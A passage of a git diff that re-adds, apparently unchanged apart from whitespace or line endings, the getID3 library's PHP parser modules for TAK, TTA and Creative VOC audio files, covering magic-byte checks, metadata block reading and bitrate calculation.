WAV for parsing'); + return false; + + } + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.tak.php b/vendor/james-heinrich/getid3/getid3/module.audio.tak.php index c8dbc64691..0391d05bc1 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.tak.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.tak.php @@ -1,216 +1,216 @@ - // -// available at http://getid3.sourceforge.net // -// or https://www.getid3.org // -// also https://github.com/JamesHeinrich/getID3 // -///////////////////////////////////////////////////////////////// -// See readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.tak.php // -// module for analyzing Tom's lossless Audio Kompressor // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_tak extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'tak'; - $info['audio']['dataformat'] = 'tak'; - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['lossless'] = true; - - $info['tak_audio']['raw'] = array(); - $thisfile_takaudio = &$info['tak_audio']; - $thisfile_takaudio_raw = &$thisfile_takaudio['raw']; - - $this->fseek($info['avdataoffset']); - $TAKMetaData = $this->fread(4); - - $thisfile_takaudio_raw['magic'] = $TAKMetaData; - $magic = 'tBaK'; - if ($thisfile_takaudio_raw['magic'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_takaudio_raw['magic']).'"'); - unset($info['fileformat']); - return false; - } - $offset = 4; //skip magic - $this->fseek($offset); - $TAKMetaData = $this->fread(4); //read Metadata Block Header - $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); //Metadata Block Object Type - $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); //Metadata Block Object Lenght excluding header - if ($objtype == 1) { //The First Metadata Block Object must be of Type 1 (STREAMINFO) - $offset += 4; //skip to Metadata Block contents - $this->fseek($offset); - $TAKMetaData = $this->fread($objlength); // Get the raw Metadata Block Data - $thisfile_takaudio_raw['STREAMINFO'] = getid3_lib::LittleEndian2Bin(substr($TAKMetaData, 0, $objlength - 3)); - $offset += $objlength; // Move to the next Metadata Block Object - $thisfile_takaudio['channels'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 1, 4)) + 1; - $thisfile_takaudio['bits_per_sample'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 5, 5)) + 8; - $thisfile_takaudio['sample_rate'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 10, 18)) + 6000; - $thisfile_takaudio['samples'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 31, 35)); - $thisfile_takaudio['framesize'] = self::TAKFramesizeLookup(getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 66, 4))); - $thisfile_takaudio['codectype'] = self::TAKCodecTypeLookup(getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 74, 6))); - } else { - $this->error('Expecting Type 1 (STREAMINFO) Metadata Object header, but found Type "'.$objtype.'" Object instead'); - unset($info['fileformat']); - return false; - } - $this->fseek($offset); - $TAKMetaData = $this->fread(4); - $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); - $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); - while ($objtype != 0) { - switch ($objtype) { - case 4 : - // ENCODERINFO Metadata Block - $offset += 4; - $this->fseek($offset); - $TAKMetaData = $this->fread($objlength); - $ver = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 3)); - $major = ($ver & 0xff0000) >> 16; - $minor = ($ver & 0x00ff00) >> 8; - $revision= $ver & 0x0000ff; - $thisfile_takaudio['version'] = 'TAK V '.$major.'.'.$minor.'.'.$revision; - $thisfile_takaudio['profile'] = self::TAKProfileLookup(getid3_lib::BigEndian2Int(substr($TAKMetaData, 3, 1))); - $offset += $objlength; - break; - case 6 : - // MD5 Checksum Metadata Block - $offset += 4; - $this->fseek($offset); - $TAKMetaData = $this->fread($objlength); - $thisfile_takaudio_raw['MD5Data'] = substr($TAKMetaData, 0, 16); - $offset += $objlength; - break; - case 7 : - // LASTFRAME Metadata Block - $offset += 4; - $this->fseek($offset); - $TAKMetaData = $this->fread($objlength); - $thisfile_takaudio['lastframe_pos'] = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 5)); - $thisfile_takaudio['last_frame_size'] = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 5, 3)); - $offset += $objlength; - break; - case 3 : - // ORIGINALFILEDATA Metadata Block - $offset += 4; - $this->fseek($offset); - $TAKMetaData = $this->fread($objlength); - $headersize = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 3)); - $footersize = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 3, 3)); - if ($headersize) $thisfile_takaudio_raw['header_data'] = substr($TAKMetaData, 6, $headersize); - if ($footersize) $thisfile_takaudio_raw['footer_data'] = substr($TAKMetaData, $headersize, $footersize); - $offset += $objlength; - break; - default : - // PADDING or SEEKTABLE Metadata Block. Just skip it - $offset += 4; - $this->fseek($offset); - $TAKMetaData = $this->fread($objlength); - $offset += $objlength; - break; - } - $this->fseek($offset); - $TAKMetaData = $this->fread(4); - $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); - $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); - } - // Finished all Metadata Blocks. So update $info['avdataoffset'] because next block is the first Audio data block - $info['avdataoffset'] = $offset; - - $info['audio']['channels'] = $thisfile_takaudio['channels']; - if ($thisfile_takaudio['sample_rate'] == 0) { - $this->error('Corrupt TAK file: samplerate == zero'); - return false; - } - $info['audio']['sample_rate'] = $thisfile_takaudio['sample_rate']; - $thisfile_takaudio['playtime'] = $thisfile_takaudio['samples'] / $thisfile_takaudio['sample_rate']; - if ($thisfile_takaudio['playtime'] == 0) { - $this->error('Corrupt TAK file: playtime == zero'); - return false; - } - $info['playtime_seconds'] = $thisfile_takaudio['playtime']; - $thisfile_takaudio['compressed_size'] = $info['avdataend'] - $info['avdataoffset']; - $thisfile_takaudio['uncompressed_size'] = $thisfile_takaudio['samples'] * $thisfile_takaudio['channels'] * ($thisfile_takaudio['bits_per_sample'] / 8); - if ($thisfile_takaudio['uncompressed_size'] == 0) { - $this->error('Corrupt TAK file: uncompressed_size == zero'); - return false; - } - $thisfile_takaudio['compression_ratio'] = $thisfile_takaudio['compressed_size'] / ($thisfile_takaudio['uncompressed_size'] + $offset); - $thisfile_takaudio['bitrate'] = (($thisfile_takaudio['samples'] * $thisfile_takaudio['channels'] * $thisfile_takaudio['bits_per_sample']) / $thisfile_takaudio['playtime']) * $thisfile_takaudio['compression_ratio']; - $info['audio']['bitrate'] = $thisfile_takaudio['bitrate']; - - if (empty($thisfile_takaudio_raw['MD5Data'])) { - //$this->warning('MD5Data is not set'); - } elseif ($thisfile_takaudio_raw['MD5Data'] === str_repeat("\x00", 16)) { - //$this->warning('MD5Data is null'); - } else { - $info['md5_data_source'] = ''; - $md5 = $thisfile_takaudio_raw['MD5Data']; - for ($i = 0; $i < strlen($md5); $i++) { - $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); - } - if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { - unset($info['md5_data_source']); - } - } - - foreach (array('bits_per_sample', 'version', 'profile') as $key) { - if (!empty($thisfile_takaudio[$key])) { - $info['audio'][$key] = $thisfile_takaudio[$key]; - } - } - - return true; - } - - public function TAKFramesizeLookup($framesize) { - static $TAKFramesizeLookup = array( - 0 => '94 ms', - 1 => '125 ms', - 2 => '188 ms', - 3 => '250 ms', - 4 => '4096 samples', - 5 => '8192 samples', - 6 => '16384 samples', - 7 => '512 samples', - 8 => '1024 samples', - 9 => '2048 samples' - ); - return (isset($TAKFramesizeLookup[$framesize]) ? $TAKFramesizeLookup[$framesize] : 'invalid'); - } - public function TAKCodecTypeLookup($code) { - static $TAKCodecTypeLookup = array( - 0 => 'Integer 24 bit (TAK 1.0)', - 1 => 'Experimental!', - 2 => 'Integer 24 bit (TAK 2.0)', - 3 => 'LossyWav (TAK 2.1)', - 4 => 'Integer 24 bit MC (TAK 2.2)' - ); - return (isset($TAKCodecTypeLookup[$code]) ? $TAKCodecTypeLookup[$code] : 'invalid'); - } - public function TAKProfileLookup($code) { - $out ='-p'; - $evaluation = ($code & 0xf0) >> 4; - $compresion = $code & 0x0f; - static $TAKEvaluationLookup = array( - 0 => '', - 1 => 'e', - 2 => 'm' - ); - return (isset($TAKEvaluationLookup[$evaluation]) ? $out .= $compresion . $TAKEvaluationLookup[$evaluation] : 'invalid'); - } - -} + // +// available at http://getid3.sourceforge.net // +// or https://www.getid3.org // +// also https://github.com/JamesHeinrich/getID3 // +///////////////////////////////////////////////////////////////// +// See readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.tak.php // +// module for analyzing Tom's lossless Audio Kompressor // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_tak extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'tak'; + $info['audio']['dataformat'] = 'tak'; + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['lossless'] = true; + + $info['tak_audio']['raw'] = array(); + $thisfile_takaudio = &$info['tak_audio']; + $thisfile_takaudio_raw = &$thisfile_takaudio['raw']; + + $this->fseek($info['avdataoffset']); + $TAKMetaData = $this->fread(4); + + $thisfile_takaudio_raw['magic'] = $TAKMetaData; + $magic = 'tBaK'; + if ($thisfile_takaudio_raw['magic'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_takaudio_raw['magic']).'"'); + unset($info['fileformat']); + return false; + } + $offset = 4; //skip magic + $this->fseek($offset); + $TAKMetaData = $this->fread(4); //read Metadata Block Header + $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); //Metadata Block Object Type + $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); //Metadata Block Object Lenght excluding header + if ($objtype == 1) { //The First Metadata Block Object must be of Type 1 (STREAMINFO) + $offset += 4; //skip to Metadata Block contents + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); // Get the raw Metadata Block Data + $thisfile_takaudio_raw['STREAMINFO'] = getid3_lib::LittleEndian2Bin(substr($TAKMetaData, 0, $objlength - 3)); + $offset += $objlength; // Move to the next Metadata Block Object + $thisfile_takaudio['channels'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 1, 4)) + 1; + $thisfile_takaudio['bits_per_sample'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 5, 5)) + 8; + $thisfile_takaudio['sample_rate'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 10, 18)) + 6000; + $thisfile_takaudio['samples'] = getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 31, 35)); + $thisfile_takaudio['framesize'] = self::TAKFramesizeLookup(getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 66, 4))); + $thisfile_takaudio['codectype'] = self::TAKCodecTypeLookup(getid3_lib::Bin2Dec(substr($thisfile_takaudio_raw['STREAMINFO'], 74, 6))); + } else { + $this->error('Expecting Type 1 (STREAMINFO) Metadata Object header, but found Type "'.$objtype.'" Object instead'); + unset($info['fileformat']); + return false; + } + $this->fseek($offset); + $TAKMetaData = $this->fread(4); + $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); + $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); + while ($objtype != 0) { + switch ($objtype) { + case 4 : + // ENCODERINFO Metadata Block + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $ver = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 3)); + $major = ($ver & 0xff0000) >> 16; + $minor = ($ver & 0x00ff00) >> 8; + $revision= $ver & 0x0000ff; + $thisfile_takaudio['version'] = 'TAK V '.$major.'.'.$minor.'.'.$revision; + $thisfile_takaudio['profile'] = self::TAKProfileLookup(getid3_lib::BigEndian2Int(substr($TAKMetaData, 3, 1))); + $offset += $objlength; + break; + case 6 : + // MD5 Checksum Metadata Block + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $thisfile_takaudio_raw['MD5Data'] = substr($TAKMetaData, 0, 16); + $offset += $objlength; + break; + case 7 : + // LASTFRAME Metadata Block + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $thisfile_takaudio['lastframe_pos'] = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 5)); + $thisfile_takaudio['last_frame_size'] = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 5, 3)); + $offset += $objlength; + break; + case 3 : + // ORIGINALFILEDATA Metadata Block + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $headersize = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 0, 3)); + $footersize = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 3, 3)); + if ($headersize) $thisfile_takaudio_raw['header_data'] = substr($TAKMetaData, 6, $headersize); + if ($footersize) $thisfile_takaudio_raw['footer_data'] = substr($TAKMetaData, $headersize, $footersize); + $offset += $objlength; + break; + default : + // PADDING or SEEKTABLE Metadata Block. Just skip it + $offset += 4; + $this->fseek($offset); + $TAKMetaData = $this->fread($objlength); + $offset += $objlength; + break; + } + $this->fseek($offset); + $TAKMetaData = $this->fread(4); + $objtype = getid3_lib::BigEndian2Int(substr($TAKMetaData, 0, 1)); + $objlength = getid3_lib::LittleEndian2Int(substr($TAKMetaData, 1, 3)); + } + // Finished all Metadata Blocks. So update $info['avdataoffset'] because next block is the first Audio data block + $info['avdataoffset'] = $offset; + + $info['audio']['channels'] = $thisfile_takaudio['channels']; + if ($thisfile_takaudio['sample_rate'] == 0) { + $this->error('Corrupt TAK file: samplerate == zero'); + return false; + } + $info['audio']['sample_rate'] = $thisfile_takaudio['sample_rate']; + $thisfile_takaudio['playtime'] = $thisfile_takaudio['samples'] / $thisfile_takaudio['sample_rate']; + if ($thisfile_takaudio['playtime'] == 0) { + $this->error('Corrupt TAK file: playtime == zero'); + return false; + } + $info['playtime_seconds'] = $thisfile_takaudio['playtime']; + $thisfile_takaudio['compressed_size'] = $info['avdataend'] - $info['avdataoffset']; + $thisfile_takaudio['uncompressed_size'] = $thisfile_takaudio['samples'] * $thisfile_takaudio['channels'] * ($thisfile_takaudio['bits_per_sample'] / 8); + if ($thisfile_takaudio['uncompressed_size'] == 0) { + $this->error('Corrupt TAK file: uncompressed_size == zero'); + return false; + } + $thisfile_takaudio['compression_ratio'] = $thisfile_takaudio['compressed_size'] / ($thisfile_takaudio['uncompressed_size'] + $offset); + $thisfile_takaudio['bitrate'] = (($thisfile_takaudio['samples'] * $thisfile_takaudio['channels'] * $thisfile_takaudio['bits_per_sample']) / $thisfile_takaudio['playtime']) * $thisfile_takaudio['compression_ratio']; + $info['audio']['bitrate'] = $thisfile_takaudio['bitrate']; + + if (empty($thisfile_takaudio_raw['MD5Data'])) { + //$this->warning('MD5Data is not set'); + } elseif ($thisfile_takaudio_raw['MD5Data'] === str_repeat("\x00", 16)) { + //$this->warning('MD5Data is null'); + } else { + $info['md5_data_source'] = ''; + $md5 = $thisfile_takaudio_raw['MD5Data']; + for ($i = 0; $i < strlen($md5); $i++) { + $info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT); + } + if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) { + unset($info['md5_data_source']); + } + } + + foreach (array('bits_per_sample', 'version', 'profile') as $key) { + if (!empty($thisfile_takaudio[$key])) { + $info['audio'][$key] = $thisfile_takaudio[$key]; + } + } + + return true; + } + + public function TAKFramesizeLookup($framesize) { + static $TAKFramesizeLookup = array( + 0 => '94 ms', + 1 => '125 ms', + 2 => '188 ms', + 3 => '250 ms', + 4 => '4096 samples', + 5 => '8192 samples', + 6 => '16384 samples', + 7 => '512 samples', + 8 => '1024 samples', + 9 => '2048 samples' + ); + return (isset($TAKFramesizeLookup[$framesize]) ? $TAKFramesizeLookup[$framesize] : 'invalid'); + } + public function TAKCodecTypeLookup($code) { + static $TAKCodecTypeLookup = array( + 0 => 'Integer 24 bit (TAK 1.0)', + 1 => 'Experimental!', + 2 => 'Integer 24 bit (TAK 2.0)', + 3 => 'LossyWav (TAK 2.1)', + 4 => 'Integer 24 bit MC (TAK 2.2)' + ); + return (isset($TAKCodecTypeLookup[$code]) ? $TAKCodecTypeLookup[$code] : 'invalid'); + } + public function TAKProfileLookup($code) { + $out ='-p'; + $evaluation = ($code & 0xf0) >> 4; + $compresion = $code & 0x0f; + static $TAKEvaluationLookup = array( + 0 => '', + 1 => 'e', + 2 => 'm' + ); + return (isset($TAKEvaluationLookup[$evaluation]) ? $out .= $compresion . $TAKEvaluationLookup[$evaluation] : 'invalid'); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.tta.php b/vendor/james-heinrich/getid3/getid3/module.audio.tta.php index ca45e39dee..700cd05a11 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.tta.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.tta.php @@ -1,111 +1,111 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.tta.php // -// module for analyzing TTA Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_tta extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'tta'; - $info['audio']['dataformat'] = 'tta'; - $info['audio']['lossless'] = true; - $info['audio']['bitrate_mode'] = 'vbr'; - - $this->fseek($info['avdataoffset']); - $ttaheader = $this->fread(26); - - $info['tta']['magic'] = substr($ttaheader, 0, 3); - $magic = 'TTA'; - if ($info['tta']['magic'] != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['tta']['magic']).'"'); - unset($info['fileformat']); - unset($info['audio']); - unset($info['tta']); - return false; - } - - switch ($ttaheader[3]) { - case "\x01": // TTA v1.x - case "\x02": // TTA v1.x - case "\x03": // TTA v1.x - // "It was the demo-version of the TTA encoder. There is no released format with such header. TTA encoder v1 is not supported about a year." - $info['tta']['major_version'] = 1; - $info['avdataoffset'] += 16; - - $info['tta']['compression_level'] = ord($ttaheader[3]); - $info['tta']['channels'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 4, 2)); - $info['tta']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 6, 2)); - $info['tta']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 8, 4)); - $info['tta']['samples_per_channel'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 12, 4)); - - $info['audio']['encoder_options'] = '-e'.$info['tta']['compression_level']; - $info['playtime_seconds'] = $info['tta']['samples_per_channel'] / $info['tta']['sample_rate']; - break; - - case '2': // TTA v2.x - // "I have hurried to release the TTA 2.0 encoder. Format documentation is removed from our site. This format still in development. Please wait the TTA2 format, encoder v4." - $info['tta']['major_version'] = 2; - $info['avdataoffset'] += 20; - - $info['tta']['compression_level'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 4, 2)); - $info['tta']['audio_format'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 6, 2)); - $info['tta']['channels'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 8, 2)); - $info['tta']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 10, 2)); - $info['tta']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 12, 4)); - $info['tta']['data_length'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 16, 4)); - - $info['audio']['encoder_options'] = '-e'.$info['tta']['compression_level']; - $info['playtime_seconds'] = $info['tta']['data_length'] / $info['tta']['sample_rate']; - break; - - case '1': // TTA v3.x - // "This is a first stable release of the TTA format. It will be supported by the encoders v3 or higher." - $info['tta']['major_version'] = 3; - $info['avdataoffset'] += 26; - - $info['tta']['audio_format'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 4, 2)); // getid3_riff::wFormatTagLookup() - $info['tta']['channels'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 6, 2)); - $info['tta']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 8, 2)); - $info['tta']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 10, 4)); - $info['tta']['data_length'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 14, 4)); - $info['tta']['crc32_footer'] = substr($ttaheader, 18, 4); - $info['tta']['seek_point'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 22, 4)); - - $info['playtime_seconds'] = $info['tta']['data_length'] / $info['tta']['sample_rate']; - break; - - default: - $this->error('This version of getID3() ['.$this->getid3->version().'] only knows how to handle TTA v1 and v2 - it may not work correctly with this file which appears to be TTA v'.$ttaheader[3]); - return false; - } - - $info['audio']['encoder'] = 'TTA v'.$info['tta']['major_version']; - $info['audio']['bits_per_sample'] = $info['tta']['bits_per_sample']; - $info['audio']['sample_rate'] = $info['tta']['sample_rate']; - $info['audio']['channels'] = $info['tta']['channels']; - $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.tta.php // +// module for analyzing TTA Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_tta extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'tta'; + $info['audio']['dataformat'] = 'tta'; + $info['audio']['lossless'] = true; + $info['audio']['bitrate_mode'] = 'vbr'; + + $this->fseek($info['avdataoffset']); + $ttaheader = $this->fread(26); + + $info['tta']['magic'] = substr($ttaheader, 0, 3); + $magic = 'TTA'; + if ($info['tta']['magic'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['tta']['magic']).'"'); + unset($info['fileformat']); + unset($info['audio']); + unset($info['tta']); + return false; + } + + switch ($ttaheader[3]) { + case "\x01": // TTA v1.x + case "\x02": // TTA v1.x + case "\x03": // TTA v1.x + // "It was the demo-version of the TTA encoder. There is no released format with such header. TTA encoder v1 is not supported about a year." + $info['tta']['major_version'] = 1; + $info['avdataoffset'] += 16; + + $info['tta']['compression_level'] = ord($ttaheader[3]); + $info['tta']['channels'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 4, 2)); + $info['tta']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 6, 2)); + $info['tta']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 8, 4)); + $info['tta']['samples_per_channel'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 12, 4)); + + $info['audio']['encoder_options'] = '-e'.$info['tta']['compression_level']; + $info['playtime_seconds'] = $info['tta']['samples_per_channel'] / $info['tta']['sample_rate']; + break; + + case '2': // TTA v2.x + // "I have hurried to release the TTA 2.0 encoder. Format documentation is removed from our site. This format still in development. Please wait the TTA2 format, encoder v4." + $info['tta']['major_version'] = 2; + $info['avdataoffset'] += 20; + + $info['tta']['compression_level'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 4, 2)); + $info['tta']['audio_format'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 6, 2)); + $info['tta']['channels'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 8, 2)); + $info['tta']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 10, 2)); + $info['tta']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 12, 4)); + $info['tta']['data_length'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 16, 4)); + + $info['audio']['encoder_options'] = '-e'.$info['tta']['compression_level']; + $info['playtime_seconds'] = $info['tta']['data_length'] / $info['tta']['sample_rate']; + break; + + case '1': // TTA v3.x + // "This is a first stable release of the TTA format. It will be supported by the encoders v3 or higher." + $info['tta']['major_version'] = 3; + $info['avdataoffset'] += 26; + + $info['tta']['audio_format'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 4, 2)); // getid3_riff::wFormatTagLookup() + $info['tta']['channels'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 6, 2)); + $info['tta']['bits_per_sample'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 8, 2)); + $info['tta']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 10, 4)); + $info['tta']['data_length'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 14, 4)); + $info['tta']['crc32_footer'] = substr($ttaheader, 18, 4); + $info['tta']['seek_point'] = getid3_lib::LittleEndian2Int(substr($ttaheader, 22, 4)); + + $info['playtime_seconds'] = $info['tta']['data_length'] / $info['tta']['sample_rate']; + break; + + default: + $this->error('This version of getID3() ['.$this->getid3->version().'] only knows how to handle TTA v1 and v2 - it may not work correctly with this file which appears to be TTA v'.$ttaheader[3]); + return false; + } + + $info['audio']['encoder'] = 'TTA v'.$info['tta']['major_version']; + $info['audio']['bits_per_sample'] = $info['tta']['bits_per_sample']; + $info['audio']['sample_rate'] = $info['tta']['sample_rate']; + $info['audio']['channels'] = $info['tta']['channels']; + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.voc.php b/vendor/james-heinrich/getid3/getid3/module.audio.voc.php index f3bbf19e39..f765719e04 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.voc.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.voc.php @@ -1,225 +1,225 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.voc.php // -// module for analyzing Creative VOC Audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_voc extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $OriginalAVdataOffset = $info['avdataoffset']; - $this->fseek($info['avdataoffset']); - $VOCheader = $this->fread(26); - - $magic = 'Creative Voice File'; - if (substr($VOCheader, 0, 19) != $magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($VOCheader, 0, 19)).'"'); - return false; - } - - // shortcuts - $thisfile_audio = &$info['audio']; - $info['voc'] = array(); - $thisfile_voc = &$info['voc']; - - $info['fileformat'] = 'voc'; - $thisfile_audio['dataformat'] = 'voc'; - $thisfile_audio['bitrate_mode'] = 'cbr'; - $thisfile_audio['lossless'] = true; - $thisfile_audio['channels'] = 1; // might be overriden below - $thisfile_audio['bits_per_sample'] = 8; // might be overriden below - - // byte # Description - // ------ ------------------------------------------ - // 00-12 'Creative Voice File' - // 13 1A (eof to abort printing of file) - // 14-15 Offset of first datablock in .voc file (std 1A 00 in Intel Notation) - // 16-17 Version number (minor,major) (VOC-HDR puts 0A 01) - // 18-19 2's Comp of Ver. # + 1234h (VOC-HDR puts 29 11) - - $thisfile_voc['header']['datablock_offset'] = getid3_lib::LittleEndian2Int(substr($VOCheader, 20, 2)); - $thisfile_voc['header']['minor_version'] = getid3_lib::LittleEndian2Int(substr($VOCheader, 22, 1)); - $thisfile_voc['header']['major_version'] = getid3_lib::LittleEndian2Int(substr($VOCheader, 23, 1)); - - do { - - $BlockOffset = $this->ftell(); - $BlockData = $this->fread(4); - $BlockType = ord($BlockData[0]); - $BlockSize = getid3_lib::LittleEndian2Int(substr($BlockData, 1, 3)); - $ThisBlock = array(); - - getid3_lib::safe_inc($thisfile_voc['blocktypes'][$BlockType], 1); - switch ($BlockType) { - case 0: // Terminator - // do nothing, we'll break out of the loop down below - break; - - case 1: // Sound data - $BlockData .= $this->fread(2); - if ($info['avdataoffset'] <= $OriginalAVdataOffset) { - $info['avdataoffset'] = $this->ftell(); - } - $this->fseek($BlockSize - 2, SEEK_CUR); - - $ThisBlock['sample_rate_id'] = getid3_lib::LittleEndian2Int(substr($BlockData, 4, 1)); - 